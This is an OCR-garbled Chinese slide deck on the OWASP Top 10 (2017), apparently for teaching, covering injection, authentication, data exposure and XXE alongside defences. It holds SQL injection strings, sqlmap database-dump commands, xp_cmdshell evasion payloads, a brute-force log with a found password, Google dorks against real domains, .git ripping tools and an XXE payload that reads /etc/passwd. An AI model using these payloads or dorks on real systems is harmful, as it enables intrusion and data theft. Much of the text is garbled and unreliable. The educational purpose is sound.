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OWASP Top 10 2017

Al : Injection

A2 : Broken Authentication

A3 : Sensitive Data Exposure

A4 . XML External Entities (XXE)

AS : Broken Access Control

A6 : Security Misconfiguration

A7 . Cross-Site Scripting (XSS)

A8 : Insecure Deserialization

A9 : Using Components with Known Vulnerabilities
A10 : Insufficient Logging&Monitoring
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OWASP Top 10 2013

A1 = Injection

A2 - Broken Authentication and Session Management
A3 - Cross-Site Scripting (XSS)

A4 - Insecure Direct Object References [Merged+A7)
A5 - Security Misconfiguration

AB6 - Sensitive Data Exposure

A7 - Missing Function Level Access Contr [Merged+

AB - Cross-Site Request Forgery (CSRF)

A9 - Using Components with Known Vulnerabilities

A10 - Unvalidated Redirects and Forwards

OWASP Top 10 2017

v

A1:2017 - Injection

A2:2017 - Broken Authentication and Session
Management

A3:2013 - Sensitive Data Exposure
A4:2017 - XML External Entity (XXE) [NEW]
A5:2017 - Broken Access Control [Merged])
AB6:2017 - Security Misconfiguration

] A7:2017 - Cross-Site Scripting (XSS)

AB:2017 - Insecure Deserialization [NEW, Community]

A9:2017 - Using Components with Known
Vulinerabilities

A10:2017 - Insufficient Logging & Monitoring [NEW,
Comm.]
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A1l —Injection




A1 - Injection 1/3

REEBENERMNSE  EHnERS—E
interpreter » AMBPIELLERI S HHEERRS

(Command) s2&H (Query) ik WEEF
B EREREERINterpreter » EMERHITIESE
ERNERNER -
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A1 - Injection 2/3

@ 550 2 E5EFESQL Injection33 ey - HIZEAESEMIEIT
FEEg|sk ¢
@ EESQLiEEI S - EEAELESQL Injectioni®:F

FileDate~" =1 LI

BEF B2, [Databune][Tramc ok sec SQUCommand] [Exception

s.axr,m SPChent Data Provider)[Exception Message 38 7' 280
$¥EN-

BET2ENRAEEN

ART=78 "alriN

[ ]




A1 - Injection 3/3

B/ E7E1E SQL Injection (& #l3kE : Hitcon Zero Day)

0 You want to use common table existence check? [¥Y/n/q)

Werosoft BT Database Engne @@~ 10040e M

IO G W_syrd 16l 1T G000 10 006 00
ipleoase enter nunber of threads? [Enter for 1 <{current)) 18

Databasze! Microzeft_Rccess_mastordbh
(3 tables)

4 L

i svent

| th_adnin

! th_menber |




B2 ( Threat )

@ 58 5N FRRE

@ ?‘éﬂl%ﬁﬁléﬂ

@ ZIEREER (FA/EH/MBR)

@ HEREHNITEERIRIE (BIAEAEADBMS)
@ HITOSRMIES

OS Injection
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72 ( Impacts )

@ T ANBEEHEERKIEE - 1221

@ R IEFH
@ Ak 75 B FH Ef
@® OS Injectioni&EZ] 3

E AT TR
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Example - BB {55058

username = "lucas’ ;
password = "1234" ;

String sql = "SELECT * FROM WHERE username=""+ username + " AND
password="+password +™ ;

System.out.printin(sal);
SELECT * FROM users WHERE username='lucas’ AND password="1234’

username =" or 1=1 =" ;
password = "1234" ;

String sql = "SELECT * FROM WHERE username=""+ username + " AND
password="+password +™ ;

System.out.printin(sql);
SELECT * FROM users WHERE username="or 1=1 - AND password='1234'

17



RENWELI

@ SQL InjectionAlEB{ERA saimap TH - BEI{L EESQL
InjectionIA £ -

@ FE#E : ZURLEMNE—ESEHIT L—EESHE * &
= A E{HESQLIERAAYError Message - RIIAT{E A sqimapi
ITINEE -

Server Error in /" Application.

Unclosed quotation mark after the character string ' and Password = °,
Incorrect syntax near ~ and Password = .

Descrplion A wharding eoiaphon Ot Rerg e £arodon of Be 0eeed weh seamdl Feest rraee Fe ek bace Se sore fArnabon ol Be e el wfere | ongrated P (oke
Cmioption Detasle: Tommen s Lt Lol Capton roioesd aatdon st e Pe Wy W e "
e rew e -
Source frvew
Uise 2% Serling aurSQL = "select * from UrerProflle wrere Userflame = "" o tntld . Temt « *" ood Paaseird = " o« tntPassuerd . Temt « *'%;
Lire W SqiComand ond « new SqiComand(striQL, on);
Uise 31! Seiletftiender & = Ond Executefieade ()]
Uise 32 LF (o .Reni())

Lire ') {
18




sqlmap W Z 1/6

@ {# ABurp Suiteili& POST DATA
O HBEAHEE "raw
O FA{ERBEAER Cookie #E{THRIR
O salmap -r "a.raw” -p "id"
O -ri#HArawigs
O -p HAZ injection ) B iR 8]

Edit Request

Intercept requests : | Intercept responses : |

Parsed  Raw |

%t%::.xmommﬁmﬁu-aabmuu HTTP/1.1
it: Mozilla/S.0 (X11: Linux x86_64: rv:52.0) Gecko/20100101 Firefox/52.0
ept: mwﬂmu—m.mz
ept-Encoding: gzip, dm

http://172.16.74.1 29 vulnerabilities/sqly/
nmssmmmnmwm: security=low

19



sqlmap W Z 2/6

e Target:
o At least one of these options has to be provided to define the
o target(s)
o -d DIRECT Connection string for direct database connection
-u URL, --url=URL Target URL (e.g.
"http://www.site.com/vuln.php?id=1")

o -l LOGFILE Parse target(s) from Burp or WebScarab proxy
log file
o -x SITEMAPURL Parse target(s) from remote sitemap(.xml) file
o -m BULKFILE Scan multiple targets given in a textual file
o -r REQUESTFILE Load HTTP request from a file
o -g GOOGLEDORK Process Google dork results as target
URLs
o -c CONFIGFILE Load options from a configuration INI file 20



sqlmap I ZE 3/6

Enumeration:
-a, —-all Retrieve everything
--current-user Retrieve DBMS current user
--users Enumerate DBMS users
--passwords Enumerate DBMS users pagswprd hashes:4) database 218
-dbs Enumerate DBMS databaseds 2. ~tables {2/ HdatabaseHIERT
--tables Enumerate DBMS databas tal;l_estf:;fﬁnms R AR columnit  E
--columns Enumerate DBMS databas
-—-dump Dump DBMS database table entries
-—-dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to pnumerglg . _ & 2 _qps Bt 218
-C COL DBMS database table columin(2) to-Bhumeraitd A--tables ## i) &

—sql-query=QUERY SQL statement to be executed > €= A A-columns R HAVER

21




sqlmap X Z 4/6

® t{EH -p SHELEURLA S EEE 1T
® samapiE R SR A EZ ST iKIE

root@kalien: ~/Downloads e ® ©
Flle Edit View Search Terminal Help

# cd Downloads

s /1 # sqlmap
DVWA-master/
DVWA-master.zip
a.raw

a.run

httpd-2.4.27/
httpd-2.4.27.tar.qQz
xampp-Linux-x64-5.6.31-0-1installer
xampp-Linux-x64-7.1,.9-0- 108000230y un

# sqlmap -r "a.raw" -p “username,password,Login,user toke

n"




sqlmap I E 5/6

BEFELEHIFIRE - BIA{EHH --dbs --tables &

28 ZRTRENENRAS

root@kali: ~/Downloads e e 0

Fle Edrt View Search Tem




sglmap INZE 6/6

@ FiEE HEW%‘:M%W
O sqlmop-r araw -p id" -D dvwa --tables

) -Ddvwa BiERERE LS
@ aﬂ‘:t@haxi%ﬁ%m ISR ERERRN RIS 2B

root@kali: ~/Downloads e ® ©
File Edit View Search Terminal Help

sqlmap -r "a.raw" -p "id" -D dvwa --tables




ZERIFHER T

® 5 1 : BAEREror Message

O LA EE LR ESQL InjectionTit® - {BE AT
K¢1Eﬁidi"‘%&ﬁli§ﬁklﬁﬂ’l1%”& 0
0 TR 2 HREFERFE
S 3  EMSELES




> 8% 1 : FABRError Message

@ X.Netrh : FAEAEror Message

Off Show everyone the detailed error message.
e i : <?xml version="1.0"7>
This is rarely a good idea. SHmentenntal
<system.web>
Don’t show anyone the detailed error <customErrors mode="0On"/>
On </system.web>
message. </configuration>
Only show the detailed error message if you
RemoteO :
are testing from the local server where the
nly . .
site resides.
26




5 ER 1 : EIBIError Message

® *Apache Tomcatd + SCATALINA_HOME/conf/web.xml$f i
= B {kError Page

<error-page> <error-code>500</error-
code> <location>/Error.jsp</location>
</error-page>

27



SR 2 . HREF SRS

® FERELZBFEAMARBSE SQL Injection

O BIRRBREZEFEHWA :
O Standard SQL injection

B ‘.execxp_cmdshell ‘dir’ ;-
O Upper and lower characters
B ‘execxP_cMdshellL ‘dir’ ;-
O Char function encoding
B Declare @cmd as varchar(3000);Set @cmd
=(CHAR(101)+CHAR(120)+....
(O Nchar function encoding
B Declare @cmd as nvarchar(3000);Set @cmd
=(nchar(101)+nchar(120)+....

28




SR 2 . HREF RS

® &

53 H)F

JRegular Expression7 ot ER &%

&

Name, Phone Number, E-mail, URL, Password

Voray

=F

() is chinese : \u4e00-\u%fas]*

O is name (word) :
O is email

I+\.[A-Z]{2.}\b

https://blog.netspi.com/sql-injection-death-by-blacklist/

[a-zZA-Z0-9]*
- \b[A-Z0-9._%t+-]+@[A-Z0-9.-

29




S 3 WNSBICER 1/4

® 7t Java fiE,

I ZEZREMHAN

String custname = request.getParameter("customerName"); // This should REALLY be validated too
// perform input validation to detect attacks
String query = "SELECT account_balance FROM user_data WHERE user name = ? “;

PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );




\

S 3 ENSBICEN 2/4

@ i C# MEALTZMNEAAR

String query =
"SELECT account balance FROM user data WHERE user name = ?";
try {
OleDbCommand command = new OleDbCommand(query, connection);
command .Parameters.Add (new OleDbParameter(”"customerName", CustomerName Name.Text));
OleDbDataReader reader = command.ExecuteReader():;
i
} catch (OleDbException se) {
// error handling

}

31



SR 3 BN 2EERN 3/4

® ;X PHP h{E AR 2HMEHATN

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name’, $name);
$stmt->bindParam(’':value’', $value);

32



SER 3 IBINS2CE 4/4

@ Hfth :
O HtraEs28vLEsa
B Ruby, PHP, Cold Fusion, and Perl
O https://www.owasp.org/index.php/Query

_Parameterization_Cheat_Sheet

33




Hithi2= 1/2

@ Ei—EE AR B TATFHEHAITEBENE
INEEBR ©

@ B HIREURATE{E AR stored
procedure AR -

® = A[sERY{E A stored procedures -

@ KEFEEEHITRSQLIES » {ERFiELTE
SHIBAT -




Hithi2= 2/2

® EAFEEH insert 8¢ update BIIER T E
view () ANRFRERE > AJUEREESEE
EAINEE -

BEMA (BESERES - RE - BRXE) X%
THEMNRE -

O RS ENEREEELFINGEUBRER ERE
R R E S Ht S i S A R LR iR -

Q@ EELFGHANERERE/ WL BE -
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A2 - Broken Authentication




B2 ( Threat)

® BHITEIE

{97 R R 14

@ EXBHEILRIR NI E
@ ETHE{LAF IR AEINE
@® <:BHipYSession Token
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722 ( Impacts )

@ IR/ FRHEF
O WBE—BEFKY > AR EE MW

25 - EEBIRRETFEHHER

@ HEEEMNA




o HHAES
(O 123456789 ~ password ~ p@sswOrd

® 27 %% (Domain Name)
O facebook ~ apple ~ google
® ZER/MF - RRENF
O 11111111 ~ abcd -~ tiger
O RREFNER
O FEEREXAR—EER
O FEEHEAR—HEH

~ 0000 ~ 1qaz@WSX

39




— ] 5350
r% JI % 6n\:l

=6 . EORZRABIMSQLE 55 % 15
® MSSQL 5% 15

O MRSE :
O) ZHE : 100Z2WsX

: 1433 . : 1433 - LOGIN FAILED: WORKSTATION\sa: Incorrect:
: 1433 . : 1433 - LOGIN FAILED: WORKSTATION\sa: [ncorrect:

: 1433 - : 1433 - LOGIN FAILED: WORKSTATION\sa: correct:

: 1433 - 33 LOGIN FAILED: WORKSTATION\sa: [ncorrect:

: 1433 - 33 LOGIN FAILED: WORKSTATION\sa: (Incorrect:
: 1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:lqaz2wsXx

Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

auxiliary( ) > l




IR SRR 2

@® admin / admin

o 55t N

PHuER -

admin/admin login _

4]




F=—HERAENERE ARRZEN

Account

o XE{H: AFFE

w RE

15

Jiy

o MRFE : admin
o ZHE : 1qaz@WSX

=T

JR2IVARFS - RISPATRRR

42




AEEXZE/DomainA 2 1/2
BARRZEE BEELAE  AHBAZEATER

S RRNRE



NTEZZIE/Domain 222 1E 2/2

X AR NiEBEARE
BIREEEMEHRBE — %1 - #R A3ES E iR




AR E R E—HZN

® FEEEREAR—HEE
O %&E*@ﬁ&ﬂﬂ— &% - B A AR %=
BEAZH B -
O ségL%ﬁ&mwlndows’é IBHERMRIRIE » ZE
| Z RS TR - BgE/WINdows EFRr B £
%‘B’Jx 5 BEWEEMSER -
@ st - EEARINERR—EZEBEAZSAE
EIJ%EE?E?%MEF B B i il

-

45




AR AR H AR —HZ

@ B2 = {F AERARKBAImMInistrator#Z & » & F
& R DhAK R FTP %51

s HZBEEAR

TR QRO

=] B Bl 5 2 1

W6 - il T - FileZilla

TAoM

B sREEMv: o HAIW): sssscene nies(p) EL
MW ASCH TR
BRFA..
*Mhome wmw* AW
“fdev" BHBNE.
“[dov BEN
MR /dev
REEW ~ B/EX) BERAD sansnnn an L L PN
-
" == = A 2017/07/19 1... Cewxrwx--- oot system
L 2014)08)07  dewxr-xr-x root system
. == Bl 2017)07/47 2... Gewxr-xr-x oot system
ne 2014)08)07  cewxr-xr-x  root system
. W PR - ST AT A - N mwmw% MMIMINT 7?7 ctevvnnnns rmnt cuetom

5 ©

46



TRRL 59 B I EE

O ~E AR IRITE S

@ ZEAFHIRTE BB —H
@ FIEAFERARERARE
ORrREEB - ELHI - 2REFH
@ ~NERFEREH
() 12345678 ~ 1qaz@WSX ~ 1qaz2wsx
@ FEREEBIBSFIT
O FHRBEEFETHF ~ #F » KNBEFE
O 1 ERR#5/EREAFE(E iﬁ 5 % 1

47




AL FEH Session E TR

@ IRSEE HZ21& » B REEBEAERRISessionE #{E
] IZARI B A

2 5 . https://bit.ly/2HiuKLm
® &45]3E - Hitcon Zero Day




Session Timeout

® Safe .Net Session Timeout in web.config

<configuration>
<system.web>
<sessionState timeout="20"></sessionState>
</system.web>
</configuration>

® Safe Java Spring MVC Session Timeout in
web.xml oo

49




o] 78;8lAYSession 1/2

PLE TIDfEAESession ID o

Accept-Encoding: gzip, deflate

Cookie: UserID=0541; IDNO#FIZEZ31147; UserNamesA~i Mi Mi MR, UserEapNoP#05410; UserDeptP+30510; UserIDP=~0541;
Usot!ttlo’u;hui'x;h; UserEnplio=B85410; UserDept=30510; UserDeptDP=; UserDeptName=L_ b i St Sl % L 8E~; Usorrulo-x;hul‘x;h;
UserJobTit=31l; UserTell=1231l; SignOn=42200.3920705301; SignOff=4I207.£02540£597; ASP.NET_Sessionldspyzpulyebsvwytb3ofviuhd$

D b L e AR WAL NRRrY Wew

incoding: g=

Usorlb'lm mUserNanesA=~i Mi i MR UserEapNoP+05400; UsotboptP-QOSlol Usor!b?ﬂ&ilo;l
UserDept=30510; UserD ’ CLIRRY A LSS ro u.-;;mlu;-.;

UsexrJobTic=311; UserTe ; SignUn=47708.3570785301; SignOft=47707. 6875406557, ASP.NET_Sessionld=pyzpulyebsveyib3lofviuhds

’




o] &89 Session 2/2

# B iSession ID/ETIDENAEHMARMETID -
BRI EX 1S A [E] B {FE B & HERR -

= o Edit
SNO  Empe Email First Name  Last Name Desginatin Project Name Actions
1 e I . = LR = 3 N = m
‘ [ cot | ooee |
* o
: o
o




CookieZ =4GR 1/2

" = = X \§ -
¢ 9 C [ puegnie indexjsp

' : | _wome
_l—

* S L tw | _wteg

Value
62824761 .1820999063. 1. Lamcsr~{drect) | utrmcens{direct) | vamemd={1)

o

52




CookieZZE 4 ERE 2/2

@ HttpOnly
a2 HitpOnly flag ¥ » AIIN B EHEE EZHEELK

{&

@ Secure
O 782 7€ Secure flag EF 5838 Cookie 7 {E &g s

{&E

SSL

JavaScript FEU#E A&/ cookie @ AJfF1K
& 5

P& AR -

INZR S o

O #t e a4 B8 - sECookiet fii zE -

https://devco.re/blog/2014/06/11/setcookie-httponly-security-issues-of-http-headers-3/

53




FHEAZLEH) Session & I F

@ S H W /BEEMEEELESessiong)#EfR

@ scsSioONEFF

@ session va

O FEE

Value

=

@ £ A Hitp OnlyEd Secure

EXE 0 B B2008E
UEeAA] & A3
TIDE =5

R Y

58 Fa & {ESession
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A3 - Sensitive Data Exposure




B2 ( Threat )

@ [ ALLEE
@ RHEEEmT  KARMEBENEFWERBIHEEER -
O ERAFLZZRINEWE

56



72 ( Impacts )

@ HEEEMNA
@ HEifE R FHRL
@ E X ERKIZEL

57



& tHE 83 M K {5 F DN 22 18 8

@ = @uf{E{E AHTTP » Wk E B HTTPS » BlEES R
MNiRERR - N ABIsEEAINGE - (B AHTTPE

#  BI|EZZ AT L& BWireshark T B RI$&$1 61 - {8
EEARF -




& iHE 85 I 7K {58 R N 22 (S 8

@ X FIAPPR £k 48 E5m N i#ia
O gZiaf 'Jﬁi)\ﬁ% EHLE AEMEER -
'

Ble Gt Yew Go Coptwe Anshue Ratstcs Hebp
O e 2@ x %8 B ¢ 9
seer: [(1p.addr eq 202.54.124.154 and 1p.addr eq 10.1 v Eare

2048«

No. - Tene Source Destination

‘rame 14 (886 bytes on wire, 886 bytes captured)

ithernet II, Src¢: Realteks_c5:64:74 (00:e0:4C:c5:64:74), Ds
:nternet Protocol, Src: 10.10.2.28 (10.10.2.28), Dst: 202.5
‘ransmission Control Protocol, Src Port: 1544 (1544), Dst P

typer
J€-based text data: applica x~-www~form-urlencoded
logineshivajidpasswd=lewinskygformiame=existing

59




ERARMZRARTS Telnet

@ A TelnetXK S EHH{E AP ITEANE  ZEAESFBERBEA
I % (Man In The Middle) - ER{S#81E A - N 2iE BT & 8§F

THENHEEER -
m?ﬁﬁﬁ B§EATelnet server » 2 FSSH

-script telnet-encryption
script telnet-encryption

Starting Nmap 7.50 ( https://nmap.org ) at 11:07 CS
Nmap scan report for
Host is up (0.0011s latency).

PORT  STATE SERVICE
23/tcp open telnet
| telnet-encryption:
|  Telnet server does not support encryption

Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds
NmapI B ' i5< nmap -p telnet —script telnet-encryption <target>

—Irl?“‘efﬁi?;ﬁﬁ’ﬂ? 9|T‘I(’”F{‘%§EM_ nﬁfﬂ v Pl
|



MitMI E& K I 22 BV {5 8l

T ARMMEZREE - BF A UE
LRBERTHAIERAS

FREEESR

. e L 1 30)

IBettercap -

HEECHER

HSRE WO WAV REH

e hello

61



REAAZZRREAENE &SR A

® AR ERE@RE - PRATE
® KHASHRMBAIMEZHEST
(O SSL3.0
B SFINE
(O OpenSSL
B 1.0.1 1.0.1f/ 1.0.2-beta ~ 1.0.2-betal
(O Heartbleedi&iq
@ HKAARLZRIMEZHES
O SHAI
O MD5
(O RC2

62




N

77

RAAZENREHENNZER A

@ Kali fg{&sslscanTH » RIEFEMEZE B HFEALE
HIINZ W E imil o
O sslscan https://xx.xxx.com.tw

:~# sslscan https://www.ntust.edu. tw
version:

OpenSSL 1.0.2-chacha (1.0.2g-dev)



HAEFHRAL

Accepted
Accepted
Accepted
Accepted
Accepted
Accepted

Accepted
Accepted
Accepted

Accepted

AL M E B IN%

& Blg®#I e

DHE-RSA-AES256-SHA
AES256-SHA
DHE-RSA-AES128-SHA
AES128-SHA




REAZZNmERNZ &R A

@ EANMAPIESRIEBESARZNET X
O nmap -sV =script ssl-enum-ciphers -p 443 <host>

Script Output

PORT STATE SERVICE REASON

443/tcp open https syn-ack

| ssl-enum-ciphers:

| TLSv1.0:

| ciphers:

| TLS_ECDHE_ECDSA_WITH_AES 128 CBC_SHA (secp256rl) - A
| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (secp256rl) - A
| TLS_ECDHE_RSA_WITH_RC4_128 SHA (secp256rl) - C

| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C

| TLS_RSA_WITH_RC4_128_MDS (rsa 2048) - C

| compressors:

| NULL

| cipher preference: server

|  warnings:

| Ciphersuite uses MDS5 for message integrity 45

%



Tomcat EAEFRAZZHITE

® [TomcatiExA ] AiEREEE [ssIProtocols |
gy [sslEnabledProtocols| &% IR RE A
=+ BIBASSL «

Tomcat 5 and 6 (6.0.38 L

< port="8443" protocol- org.apache.coyote.httpll.HttpllProtocol“
maxThreads="150" SSLEnabled="true" scheme="https" secure="true"

clientAuth="false" sslProtocols = "TLSvl,TLSv1l.1,TLSv1l.2" />

Tomcat 6 (6.0.382@RRRASR) B 7:

< port="8443" protocol="org.apache.coyote.httpll.HttpllProtocol"
maxThreads="150" SSLEnabled="true" scheme="https" secure="true"

clientAuth="false" sslEnabledProtocols = "TLSv1l,TLSv1.1,TLSv1.2" />
Tomcat APR:




Apache A ZZRIRE

® [Apachef&iAR] Rihttpd.configZ= i

SS

@ =t
SS

LProtocolggE ' EBERE A - BHEASSL -
hittpd.cCONfIMALL TERE -

_LProtocol all -SSLv2 -SSLv3

67



IS EARA A Z ERY 1 E

@® Microsoft lIS: Disabling the SSL v3 Protocol

(O [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityPr
oviders\SCHANNEL\Protocols\SSL3.0]

} AL A —
Commgpritar 2LV DM MALN T IM L it sttt (s S o @ B v SN, Pttt 15 ) D v




WindowsEiRAAZ Z R NNZ EE A

® FEIWIindows A ZE = gpedit.msc :
O BIERERE > RAEBEA — 8% — SSL4HRE
E — SSLINZEEHIERF
B SSLIMNZEH  BRARENMEEH
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WindowsEiE A Z ZRIMEER

J

BEF) RN MRV BB
o 2 Bn Y
L THRE SN
«ARRET
enET
2 Windows B
« L AERAERT
1 Windows %

1 BranchCache

2 DirectAccess ISR RET
A DNS mER

1 LanMan SES

2 Microsoft IR RIBER
aQusHERes

3 SNMP

1SSLEsEY

aTcPiP Rz

3 Windows Connect Now

1 Windows SN

O WILAN BB

O WWAN B8
IREEBLONEN BT
ISRREEeRE

SSLNREREY
AES 256 CBC SHA | _ mSSL mEmnms

TUS_DHE_DSS_ WITH_

nERT [

S* EER" lllS,!CDH!_RSA_WﬂM_A_

This policy setling determines the cipher wites used by the Secure Socket

BRAZZONEREE

(SSL).

It you enable this policy setting, SSL cipher suites are prioritized in the
ceder specified

If you dsabile or do not configure this policy setting, the factory default
| Cipher suite order Is used.
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Google Hacking 1/7

® Google hackingg—#Ef| Hgoogle# F5|2E=
REZ2REANEN  BRERMNESESEXRNS

:#E$E=Mn--n7 °

O#R= EE*%SIS‘C#EEE"WEEJ:

X i o
2E WM BR BN =m WS X IA l TmssNowfoman <[4 | A= A — - %
- ‘ - ‘ = - .
NN 230000 AR (RSN 0 B) «L - _EE Y Twll--N . A /LA ] « ¥ i
- © Offce EF TENEENENNELNEN - SINCRRADE - MEN 0N FEN
mmmm mnmopnm
20 l-m IERARENX AN li~“' e SNENC NVNARAN 010

m“ SRR -ARARTE 1A

BITH - A
! | "L
PEREEsEROASETR 2 \ '

L R R L 2 B L T LI

1 umln-unlal umnn ARGRAY 2. ¥ Q. 00ES0L ¥ 0 00 2 W) -
AL nE s2EAB Lea B L AW T e
. u? _AAS,
-— s e
ww § e o3 MAXOSIN B e BT AR Y e
WEANME - LA PR ASETH 16 BU AN E00M .. B 2 2 B BAN ..
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Google Hacking 2/7

@ EfEHEZRE

O site: BE/RARIFE ML TRIRE -
O filetype: S ERERZHEE -
m filetype:config

O intitle : # =43

HiREAMRET MR

m intitle:"Index of"
O inurl: #ZMEHPHFEHEFZHEE

O link:# = prH F0*

FRE AL T EERHER
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Google Hacking 3/7

@ HSHERER S config
O filetype:config edu.tw

Google filetype:config edu.tw L Q

& E L) Ll d ER ES nE IR

BN SRR (RSN 0309)

BT RRTARNC SRR - QFRERRRNPHERSIEN

EIRTARRRARETFE

opencourse.ndhu.edu.twimocdiefile. php/8/data‘wed.config v
B— o =08 X1234567.8 9X08H988=9, 10, 11,12, 13, 14,15, 16, 17, 18, 19.

20,21,22,23,24,25,26.27,28,29,30, 31 ...

Qua'mt conﬁguramn Fk ..... #. ................... Ger’eml .
myweb.nutn.edu.tw/~wlyang'quainet/BF S-node-100-50-0.config + IIIBIA BN N
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Google Hacking 4/7

WIRE AR Z W

—

[ Most Visited v llOffensive Security "\ Kali Linux W\ Kali Docs "\ Kali Tools KBEx;

//config file: be ware of extra space
url=142.10%.18.61:3306
account=aacg

password=aagd L

doNgram=true
getinputFromFile=false
noPronounQues=true
noPronounAns=true
doPronounNPC=true
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Google Hacking 5/7

@ HSHEEH
O site: xx.edu.tw 545 &

site:ach edu.tw xisx SR8 $ Q

@ "R A ERX B rs nE IR

1R (RSW 029 9)

PSS HIBE
—e e el leuploads/asset'cata). MEBRRERMN FRY "M Tl dsx v

Coe AR Ny R e e R eae ) BENS, AR PRER. B
B EHA REEE RESOHETE REHETHE RE .

BENMEAY SwEM L L3 HA REEE RESOHRER

! 1553 RiEsE Nommsr  wSTH ni il F1308 W

2 1584 Fiege G oamaY w7H N = F1 3] i |

3 1585 FIERE & st RTH ge = F1 308

4 1586 BIERE = s WTARN w4 HI28»

s 1587 BIERE woemAr  WTARH [ T H12 1y 75



Google Hacking 6/7

@ HEBE [IREHE Path Traversal | 5324
O inurl: downlood.asp flename

Google inurl:download.asp filename 5 Q

3 ER =" [ 1 R rs nE IR

K% 257000 ISR (MBI - 045 ®)
BT ARFRERTTABAR - SFLEERRYPRTAORN

FEISSE(SEEMN) AR THERATE

www hcbus, com. twibigS/dowrioad asp ?SleName=Hsinchu/16-1 pdf ~

BE. BEEMSOS550 6:20 6:50 7:20 8:20 925 11:20 1220 1325 14:55 15:40 16:10 17-35. MUMF.
5:52 622 6:52 7:22 822 927 1122 1222 1327 14:57 ...

000 ch (S48 35 44 0 22 BICHINA NATIONAL MACHINERY ... - #HIA%
bidding szu.edu enDownload asp?FleName=uploadfies/.. doc *+ BAXNMA
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Google Hacking 7/7

® [5:E Google Hacking
O bobots.txt (#—/NE)
B FHRAERIRE ST - SaBEE S5 ZE
g%ﬂﬁﬁk B IE PRI E AR B A EHRES S|
B 77 %R EFEGoogle Hacking# fiif & & IE 1
HE B2 ERINAEFE -
O BRERFIAERER - W PHPIZESC » AT EHE
$ htOCCGSSEJ;&E *EQEPHPL/LMBfOrderaIlowdeny

Deny from all
<FilesMatch *.php >

Allow from all
</FilesMatch> 77




Web/RI41E8F1/6

O IXBHE Ot HE  TEREAEAMMBIEL

Index of /e s/ git

e Parent Directory
o COMMIT EDITMSG
e HEAD

¢ branches/

e config

e description
e hooks/

¢ index

e info/
omﬂ

o objects/

o rofs/
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Web/RI41E8:F2/6

® LEHIE

gﬂhub

B T 5 BB FE
(O Pasive : Google Hacking + Github

O Active : GitHack -~ rip-git.pl ~ rip-svn.pl

HEEAE @ REALE
ﬁk’z}ﬂ’lﬁﬁﬁl’é'ﬂﬂii /
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Web/R 15158 @3/6 : GitHack

@ GitHack

O EZiuhEE.oit/ B#k @ BIA[EH GitHack T
B BREEREETEREITTEH -
O 1£BR git commit i » B ERIESR -

. | k# python GitHack.py http://127.0.0. 1/uch/. git
+] Download and parse index file ..

index. php
OK] index. php

Mt A EAREZIR it/ fEEFRBETh fERE
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Web/R 14158 %4/6 : Dvcs-ripper

@® Dvcs-ripper
O https://github.com/kost/dvcs-ripper
O ERihEE ot/ B R
B AEA rip-git.pl #5 S RIS T8 T 2K
O HiRusFEE svn/ B R
B AJiER np-svn.pl 5 S R TE T T 2K
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Web/R 15152 /m5/6 : DS Store

TII

O dsstoreexp

( ) TW?%&&@NS%%%E@E%{EE%#% ﬁgﬂ

¢ Xp. py htyg /192. 168, 30, 1317/ CloudOriornv src/,. DS Stor

fSrc/main/ wedapp
/ /1 our




Web/R 5158 %5/6 : DS_Store

@ FEfFMAEERENEHWeDIRER R

Ol

® fELLE

OP

- IR BB N EBRE Ot ~ svn ZiEE

_|

—

LB o BEMET I EIA SR -

P{ERETFHL .php

O Tomcat{EgEFFHL -jsp
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A4 — XML External Entities (XXE)




B2 ( Threat )

@® XXE (XML External Entity Injection) R4+
fE A R FXMLEEFTXMLEG AR > R B EIENEEE
HIEEA -

@ E2%5d i AMLA@RirE XN FIIEEMEREIR
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72 ( Impacts )

® FHUEERMEERERM : /etc/passwd ~ @ik R
IRTEE & -
@ HEE RN
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XML External Entity Injection

@ RUH R
O git clone https://github.com/vulhub/vulhub.git

O cd vulhub/php/php_xxe
(O docker-compose up

(© localhost/index.php

System Linux 8b9dbdc2e850 4.15.0-23-9

Build Date Jun 21 2018 07:54:43

Configure Command " Jeonfigure' -with-config-file-patt
Jconf.d’ ~disable-cqi' ‘~enable-ftp’'

87
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XML External Entity Injection

EAEL

<?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE xxe [

<IELEMENT name ANY >

<IENTITY xxe SYSTEM "file:///etc/passwd’ >]>
<root>

<name>&xxe;</name>

</root>



XML External Entity Injection

AR E IR MR RS

Patass | Headers | Hex | XWL

POST /simplexml_load_stringphp HTTP/1 .1

Host:

Accept: %/~

Accept-Language: en

User-Agent: Mozla/5.0 (compatible; MSIE 9.0; \Windows NT 6.1; \Wink4; «64; Trident/5.0)
Connection: close

Content-Type: appication/xml

Content-Lengthc 161

< amil versions *1.0% encoding = “utf.8%?>
<IDOCTYPE xxe [

<ELEMENT name ANY >

<IENTITY xea SYSTEM "Hey//erc/passwd” »]»
<root>

<Oame > Blocn < name >

</root>

HTTP/9.1 200 OK

Date: Tue, 11 Apr 2017 191500 GNIT
Server: Apache /2410 [Detiany
X-Powsred By PrP/T 13

Vary Accept-Enceding

Content-Lengen: 1197

Corrwction: dose

Contant-Type: teat/homd charrat= UTF-8

rootx 00100t oot Sin/bach

dacmon:x 11 :dacmon uer /ibin fucr/thin/nologis
Binx 2:2 b /bl fua fbinfrclogn

tyex 3:3gye/dovfun fibinfrologn

sync s 465534 cync /b SDinSsync

gamerx: 560 gamerfurr fgamerutr /ebin/aclogin
man s 612 man Aarfaache/man Juu /din/nolo g
o7 TApNar/poclfipd feur /thin/nologin

mails B U mall fvar feail feu /tbin/nolsgin
newex: S S acweAar /ipocl/mews futr /ibin/sologin

| wucpa: 1010 uucp Nt /spoolivep fuia/bin/nalo g
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XML External Entity Injection

® /B DTD (Document Type Definition) @iz

HTRES

%2 ]

' Hth 4= 5 B fEET X I # denial

of services (DOS) -

@ libxm

12

O xmiParserOptionf~ 55 & T 71 & -
B XML_PARSE_NOENT
B XML_PARSE_DTDLOAD

70




Ab5 - Broken Access Control




JL=

ax & Exploit

